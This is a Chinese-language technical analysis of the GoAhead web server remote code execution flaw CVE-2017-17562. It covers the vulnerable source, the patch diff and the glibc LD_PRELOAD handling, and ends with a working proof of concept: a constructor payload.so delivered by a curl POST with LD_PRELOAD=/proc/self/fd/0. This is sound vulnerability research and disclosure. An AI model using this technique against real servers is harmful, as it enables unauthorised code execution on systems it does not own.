*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

本文是关于GoAhead web server远程代码执行漏洞(CVE-2017-17562)的分析,该漏洞源于在初始化CGI脚本环境时使用了不受信的HTTP请求参数,会对所有启用了动态链接可执行文件(CGI脚本)的用户造成影响。在此过程中,当CGI脚本调用glibc动态链接器时,特殊变量LD_PRELOAD可被注入滥用,从而导致远程代码执行。该漏洞是个典型的环境变量案例,能推广应用到其它不安全的软件架构漏洞发现中。

GoAhead在其官网声称为“世界上最流行的微型嵌入式Web服务器”,被IBM、HP、Oracle、波音、D-link和摩托罗拉等公司广泛使用。通过Shodan搜索,可探测到全球共有735,000多个GoAhead当前服务器在线。

漏洞分析

在我们进行该项漏洞研究期间,我们发现,该漏洞影响范围涉及GoAhead的早期版本2.5.0和当前最新版本(3.x),几乎是全版本覆盖。可以通过以下方式对存在漏洞的GoAhead程序进行安装编译操作:# Cloning and running the vulnerable GoAhead daemon

daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git

Cloning into 'goahead'...

remote: Counting objects: 20583, done.

remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583

Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.

Resolving deltas: 100% (14843/14843), done.

daniel@makemyday:~$ cd goahead/

daniel@makemyday:~/goahead$ ls

configure      CONTRIBUTING.md  doc        installs    main.me   Makefile      paks      README.md  test

configure.bat  dist             farm.json  LICENSE.md  make.bat  package.json  projects  src

daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q

daniel@makemyday:~/goahead$ make > /dev/null

daniel@makemyday:~/goahead$ cd test

daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest

daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead

代码分析

漏洞存在于cgiHandler函数中,该函数能为新进程的envp参数分配一个指针数组,然后使用从HTTP请求参数中获取的键值对来进行初始化。最后,launchCgi函数会被fork和execve所执行的CGI脚本调用。

我们可看到在cgiHandler函数中,程序只对REMOTE_HOST和HTTP_AUTHORIZATION进行了过滤,其他变量被误认为可信,并未被采取进一步过滤措施,这就使得允许攻击者可以在新的CGI进程中控制环境变量,非常危险。#  goahead/src/cgi.c:cgihandler

...

PUBLIC bool cgiHandler(Webs *wp)

{

Cgi         *cgip;

WebsKey     *s;

char        cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];

char        *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;

CgiPid      pHandle;

int         n, envpsize, argpsize, cid;

...

/*

Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few

we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point

to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair

in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for

loop includes logic to grow the array size via wrealloc.

*/

envpsize = 64;

envp = walloc(envpsize * sizeof(char*));

for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {

if (s->content.valid && s->content.type == string &&

strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&

strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {

envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);

trace(5, "Env[%d] %s", n, envp[n-1]);

if (n >= envpsize) {

envpsize *= 2;

envp = wrealloc(envp, envpsize * sizeof(char *));

}

}

}

*(envp+n) = NULL;

/*

Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)

should already exist.

*/

if (wp->cgiStdin == NULL) {

wp->cgiStdin = websGetCgiCommName();

}

stdIn = wp->cgiStdin;

stdOut = websGetCgiCommName();

if (wp->cgifd >= 0) {

close(wp->cgifd);

wp->cgifd = -1;

}

/*

Now launch the process.  If not successful, do the cleanup of resources.  If successful, the cleanup will be

done after the process completes.

*/

if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {

...

补丁分析

该漏洞可以通过跳过特殊参数名称,而对其它参数添加一个静态字符串前缀来修复,即使对于形式为a = b%00LD_PRELOAD%3D的参数,似乎也能有针对性解决。补丁形式如下:# git diff f9ea55a 6f786c1 src/cgi.c

diff --git a/src/cgi.c b/src/cgi.c

index 899ec97b..18d9b45b 100644

--- a/src/cgi.c

+++ b/src/cgi.c

@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)

envpsize = 64;

envp = walloc(envpsize * sizeof(char*));

for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {

-        if (s->content.valid && s->content.type == string &&

-            strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&

-            strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {

-            envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);

+        if (s->content.valid && s->content.type == string) {

+            if (smatch(s->name.value.string, "REMOTE_HOST") ||

+                smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||

+                smatch(s->name.value.string, "IFS") ||

+                smatch(s->name.value.string, "CDPATH") ||

+                smatch(s->name.value.string, "PATH") ||

+                sstarts(s->name.value.string, "LD_")) {

+                continue;

+            }

+            envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,

+                s->name.value.string, s->content.value.string);

trace(5, "Env[%d] %s", n, envp[n-1]);

if (n >= envpsize) {

envpsize *= 2;

漏洞利用分析

虽然将任意环境变量注入新进程的漏洞利用功能看起来相对良性,但有时候一些“特殊”环境变量会导致动态链接程序的其它控制流产生。

ELF动态链接器

GoAhead的二进制ELF文件头信息显示,它是一个64位动态链接的可执行文件,解释程序在INTERP段被指定,并且指向动态链接器/lib64/ld-linux-x86-64.so.2。# Reading the ELF header

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead

ELF Header:

Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

Class:                             ELF64

Data:                              2's complement, little endian

Version:                           1 (current)

OS/ABI:                            UNIX - System V

ABI Version:                       0

Type:                              DYN (Shared object file)

Machine:                           Advanced Micro Devices X86-64

Version:                           0x1

Entry point address:               0xf80

Start of program headers:          64 (bytes into file)

Start of section headers:          21904 (bytes into file)

Flags:                             0x0

Size of this header:               64 (bytes)

Size of program headers:           56 (bytes)

Number of program headers:         9

Size of section headers:           64 (bytes)

Number of section headers:         34

Section header string table index: 33

Program Headers:

Type           Offset             VirtAddr           PhysAddr

FileSiz            MemSiz              Flags  Align

PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040

0x00000000000001f8 0x00000000000001f8  R E    0x8

INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238

0x000000000000001c 0x000000000000001c  R      0x1

[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

...

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

在动态链接程序执行过程中,动态链接器是首先运行的代码,它负责链接加载共享对象并解析各种符号。为了获得goahead进程加载的所有共享对象列表,我们可以把特殊的环境变量LD_TRACE_LOADED_OBJECTS设置为1,随后,它会显示加载的库信息并退出。如下所示:# ld.so LD_TRACE_LOADED_OBJECTS

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead

linux-vdso.so.1 =>  (0x00007fff31bb4000)

libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)

libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)

/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

在不运行动态链接器的情况下,我们也可以通过静态方式找到该信息,方法是grep方式递归查找每个ELF共享对象中定义的DT_NEEDED条目:

# statically finding shared object dependancies

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED

0x0000000000000001 (NEEDED)             Shared library: [libgo.so]

0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED

0x0000000000000001 (NEEDED)             Shared library: [libpthread.so.0]

0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED

0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]

daniel@makemyday:~/goahead/build/linux-x64-default/bin$

注意:可能有人注意到这里缺少了linux-vdso.so.1,这没问题,vDSO是由内核映射进用户进程的特殊共享库,详细信息可参考man 7 vdso。

特殊环境变量

所以这些看似正常,但怎么又和环境变量注入相关呢? 那么...我们知道在新进程中,动态链接器是首先被执行的代码 - 如果我们检查man 8 ld.so后可以发现,一些特殊环境变量的默认操作行为是可以被修改的。我比较喜欢看源码,我们来一挖究竟。其中dl_main函数就是动态链接器的主要入口点,如下# glibc/elf/rtld.c:dl_main

static void

dl_main (const ElfW(Phdr) *phdr,

ElfW(Word) phnum,

ElfW(Addr) *user_entry,

ElfW(auxv_t) *auxv)

{

const ElfW(Phdr) *ph;

enum mode mode;

struct link_map *main_map;

size_t file_size;

char *file;

bool has_interp = false;

unsigned int i;

...

/* Process the environment variable which control the behaviour.  */

process_envvars (&mode);

该函数首先执行的任务是调用process_envvars方法:# glibc/elf/rtld.c:process_envvars

static void

process_envvars (enum mode *modep)

{

char **runp = _environ;

char *envline;

enum mode mode = normal;

char *debug_output = NULL;

/* This is the default place for profiling data file.  */

GLRO(dl_profile_output)

= &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];

while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)

{

size_t len = 0;

while (envline[len] != '\0' && envline[len] != '=')

++len;

if (envline[len] != '=')

/* This is a "LD_" variable at the end of the string without

a '=' character.  Ignore it since otherwise we will access

invalid memory below.  */

continue;

switch (len)

{

case 4:

/* Warning level, verbose or not.  */

if (memcmp (envline, "WARN", 4) == 0)

GLRO(dl_verbose) = envline[5] != '\0';

break;

case 5:

/* Debugging of the dynamic linker?  */

if (memcmp (envline, "DEBUG", 5) == 0)

{

process_dl_debug (&envline[6]);

break;

}

if (memcmp (envline, "AUDIT", 5) == 0)

audit_list_string = &envline[6];

break;

case 7:

/* Print information about versions.  */

if (memcmp (envline, "VERBOSE", 7) == 0)

{

version_info = envline[8] != '\0';

break;

}

/* List of objects to be preloaded.  */

if (memcmp (envline, "PRELOAD", 7) == 0)

{

preloadlist = &envline[8];

break;

}

可以看到,动态链接器会去解析envp数组,如果找到特殊变量名称,则会执行不同的代码路径。非常有意思的是,case 7代码对初始化preloadlist的LD_PRELOAD进程处理机制。

深入分析dl_main可知,如果preloadlist不为NULL,则handle_ld_preload就会被调用,如下:# glibc/elf/rtld.c:dl_main

...

/* We have two ways to specify objects to preload: via environment

variable and via the file /etc/ld.so.preload.  The latter can also

be used when security is enabled.  */

assert (*first_preload == NULL);

struct link_map **preloads = NULL;

unsigned int npreloads = 0;

if (__glibc_unlikely (preloadlist != NULL))

{

HP_TIMING_NOW (start);

npreloads += handle_ld_preload (preloadlist, main_map);

HP_TIMING_NOW (stop);

HP_TIMING_DIFF (diff, start, stop);

HP_TIMING_ACCUM_NT (load_time, diff);

}

...

handle_ld_preload方法会解析preloadlist,并把其值当成要加载的一个共享对象列表:# glibc/elf/rtld.c:handle_ld_preload

/* The list preloaded objects.  */

static const char *preloadlist attribute_relro;

/* Nonzero if information about versions has to be printed.  */

static int version_info attribute_relro;

/* The LD_PRELOAD environment variable gives list of libraries

separated by white space or colons that are loaded before the

executable's dependencies and prepended to the global scope list.

(If the binary is running setuid all elements containing a '/' are

ignored since it is insecure.)  Return the number of preloads

performed.  */

unsigned int

handle_ld_preload (const char *preloadlist, struct link_map *main_map)

{

unsigned int npreloads = 0;

const char *p = preloadlist;

char fname[SECURE_PATH_LIMIT];

while (*p != '\0')

{

/* Split preload list at space/colon.  */

size_t len = strcspn (p, " :");

if (len > 0 && len < sizeof (fname))

{

memcpy (fname, p, len);

fname[len] = '\0';

}

else

fname[0] = '\0';

/* Skip over the substring and the following delimiter.  */

p += len;

if (*p != '\0')

++p;

if (dso_name_valid_for_suid (fname))

npreloads += do_preload (fname, main_map, "LD_PRELOAD");

}

return npreloads;

}

综合分析一下可知:我们能对goahead环境变量LD_PRELOAD进行注入,我们可以利用glibc处理特殊变量(如LD_PRELOAD等)的方式,来加载其它任意共享对象。

ELF格式的SO文件

所以,这就非常厉害了,我们能强制加载任意共享对象,但如何能利用它实现代码执行呢?检查.init和.fini段代码后可以发现,如果我们用构造函数属性来包装修饰一个方法函数,那我们就能强制该方法函数在Main方法之前被调用执行。如下PoC:# PoC/payload.c

#include

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

write(1, "Hello: World!\n", 14);

}

将payload.c编译为共享对象:# Compiling payload.c as shared object.

daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so

daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null

Hello: World!

daniel@makemyday:~/goahead/PoC$

好了,如果我们在测试系统上执行该PoC,会产生什么效果呢?如下执行一个简单的PoC:# Trying a simple PoC

daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so

-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so

daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10

HTTP/1.0 200 OK

Date: Wed Dec 13 02:38:56 2017

Transfer-Encoding: chunked

Connection: close

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hello: World!

content-type:  text/html

daniel@makemyday:~/goahead/PoC$

运行之后可以看到,我们的共享代码由cgitest进程通过LD_PRELOAD执行了。

LINUX下的 /PROC/SELF/FD/0目录利用

还有一个关键问题就是,即使我们可以从本地服务器加载共享对象,且能达到代码执行目的,但我们如何将构造的恶意共享对象注入到远程目标服务器中呢?如果不能实现这点,那么合法的共享对象对我们也没什么用处,漏洞利用危害也会相对较低。

幸运的是,launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求内容的临时文件,这也就是说,服务器上会有一个包含用户提供的数据文件,并且可以通过LD_PRELOAD=/tmp/cgi-XXXXXX的方式进行引用。# goahead/src/cgi.c:launchCgi

/*

Launch the CGI process and return a handle to it.

*/

static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)

{

int     fdin, fdout, pid;

trace(5, "cgi: run %s", cgiPath);

if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {

error("Cannot open CGI stdin: ", cgiPath);

return -1;

}

if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {

error("Cannot open CGI stdout: ", cgiPath);

return -1;

}

pid = vfork();

if (pid == 0) {

/*

Child

*/

if (dup2(fdin, 0) < 0) {

printf("content-type: text/html\n\nDup of stdin failed\n");

_exit(1);

} else if (dup2(fdout, 1) < 0) {

printf("content-type: text/html\n\nDup of stdout failed\n");

_exit(1);

} else if (execve(cgiPath, argp, envp) == -1) {

printf("content-type: text/html\n\nExecution of cgi process failed\n");

}

...

}

不过,这种方式稍显模糊,需要猜测包含POST内容的临时文件,但好在Linux procfs文件系统有一个很好的符号链接,我们可以用它来引用stdin描述符,从而指向我们的临时文件,就比如将 LD_PRELOAD指向/proc/self/fd/0,或使用/dev/stdin来访问临时文件。# linux/fs/proc/self.c

static const char *proc_self_get_link(struct dentry *dentry,

struct inode *inode,

struct delayed_call *done)

{

struct pid_namespace *ns = inode->i_sb->s_fs_info;

pid_t tgid = task_tgid_nr_ns(current, ns);

char *name;

if (!tgid)

return ERR_PTR(-ENOENT);

/* 11 for max length of signed int in decimal + NULL term */

name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);

if (unlikely(!name))

return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);

sprintf(name, "%d", tgid);

set_delayed_call(done, kfree_link, name);

return name;

}

static const struct inode_operations proc_self_inode_operations = {

.get_link = proc_self_get_link,

};

综合分析可知,我们可在POST请求中内置一个包含构造函数的恶意共享对象,当程序加载后,该构造函数会被调用执行。当然,也可以在HTTP参数中内置?LD_PRELOAD=/proc/self/fd/0命令,通过该命令指向包含测试Payload的临时文件,也能实现目的。如下在POST请求中利用命令行实现漏洞利用:# exploiting via the command line

daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

Dload  Upload   Total   Spent    Left  Speed

100  9931    0  2035  100  7896   2035   7896  0:00:01  0:00:01 --:--:--  9774

HTTP/1.1 200 OK

Date: Sun Dec 17 13:08:20 2017

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Pragma: no-cache

Cache-Control: no-cache

hello:  World!

Content-type: text/html

daniel@makemyday:~/goahead/PoC$

总结

该漏洞是一个对环境变量LD_PRELOAD的特殊利用案例,几乎影响所有GoAhead版本软件。这种漏洞可能还存在于其它应用服务中,非常有意思,它们只是对漏洞字符串的简单利用,还不需要涉及代码审计层面。

尽管在大多Web应用服务中,CGI代码处理机制相对稳定,但在一些模块中可能还存在着明显的代码错误,这些错误会导致很多异常漏洞,对此,我建议可先用grep命令来查找这个websDefineHandler入口地址。

如果你对链接和加载机制感兴趣,可参考这两篇文章(一, 二),感谢阅读。

*参考来源:elttam,freebuf小编clouds编译,转载请注明来自FreeBuf.COM

goahead处理json_GoAhead Web Server远程代码执行漏洞分析(附PoC)相关推荐

  1. oracle11g远程命令执行漏洞,漏洞应急|Oracle Weblogic Server远程代码执行漏洞(CVE-2021-2109)...

    近日,锐捷网络CERT安全应急响应团队关注到Oracle官方发布了2021年1月关键补丁更新公告,该补丁中修补了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多 ...

  2. windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告

    0x00 漏洞概述 CVE   ID CVE-2020-1350 时     间 2020-07-15 类     型 RCE 等     级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...

  3. 服务器2008操作系统漏洞,【操作系统安全漏洞 】解决CVE-2017-11780:Microsoft Windows SMB Server远程代码执行漏洞...

    一.漏洞描述 2017年10月10日,微软漏洞补丁日修复了多个安全漏洞,其中一个为Microsoft WindowsSMB Server远程执行代码漏洞,根据官方描述该漏洞如果被成功利用,远程攻击者可 ...

  4. rmi远程代码执行漏洞_微软 Windows DNS Server 远程代码执行漏洞

    安全预警 漏洞:微软 Windows DNS Server 远程代码执行漏洞漏洞编号:CVE-2020-1350威胁程度:高影响范围: Windows Server 2008 for 32-bit S ...

  5. Joomla远程代码执行漏洞分析小白版(小宇特详解)

    Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...

  6. WebLogic Server 远程代码执行漏洞复现 (CVE-2023-21839)

    1.产品简介 Oracle WebLogic Server是一个统一的可扩展平台,用于在本地和云端开发.部署和运行企业应用程序,例如 Java.WebLogic Server提供了Java Enter ...

  7. Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务. 奇 ...

  8. wordpress 5.0.0 远程代码执行漏洞分析cve-2019-8943

    近日,wordpress发布一个安全升级补丁,修复了一个WordPress核心中的远程代码执行漏洞.代码修改细节可以参考wordpress团队于Dec 13, 2018提交的代码.据漏洞披露者文中所介 ...

  9. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

最新文章

  1. cloudera manage 4.8.6做hive元数据库主从同步后
  2. linux rqm包制作 spec文件详解
  3. linux命令行下载github文件,Linux命令行下使用GitHub
  4. 阿里云服务器端口开放对外访问权限
  5. PAT——1027. 打印沙漏
  6. 揭秘!业界创新的代码仓库加密技术
  7. ajax中res和req,javascript – 来自AJAX调用的res.redirect
  8. glob,正则表达式元字符,扩展正则表达式总结
  9. 听说社保不能补缴了,像我们这种没缴社保的打工者,该怎么办?
  10. 超方便的开源视频下载工具
  11. 语音增强二,麦克风阵列
  12. Sniffer软件简介
  13. python写植物大战僵尸简单版_写个最简单的植物大战僵尸修改器吧!c和python
  14. 机器学习预测机动车摇号:神秘的第七位
  15. spring boot 2.5.5 reference chapter 5 生词
  16. 北京软件项目外包流程及管理
  17. C语言实现猜数字小游戏(详细讲解)
  18. 假作真时真亦假——“真实”IP带来的安全隐患
  19. bitmina mysql root密码_sysbench压测自装MySQL数据库
  20. 【洛谷P1361】小猫爬山

热门文章

  1. windows装linux 引导,Win下硬盘安装桌面版Ubuntu 7.10的引导过程
  2. 以高科技传情达意,戴森如何以“洞察力”打造情人节贴心好礼?
  3. 福布斯:Chrome安全性能引发魔道之争
  4. LDAP基础功能(重点为搜索:ldapsearch)
  5. 应用实战|微信小程序开发示例之Super课表
  6. 说明对计算机组成原理的认识,计算机组成原理心得
  7. Excel - 学习 - 笔记4: Excel 函数 - if 函数
  8. 阿里云账号实名认证、域名实名制与网站备案的区别
  9. python爬虫资源路径报错_python爬虫
  10. 实战打靶集锦-001-Funbox2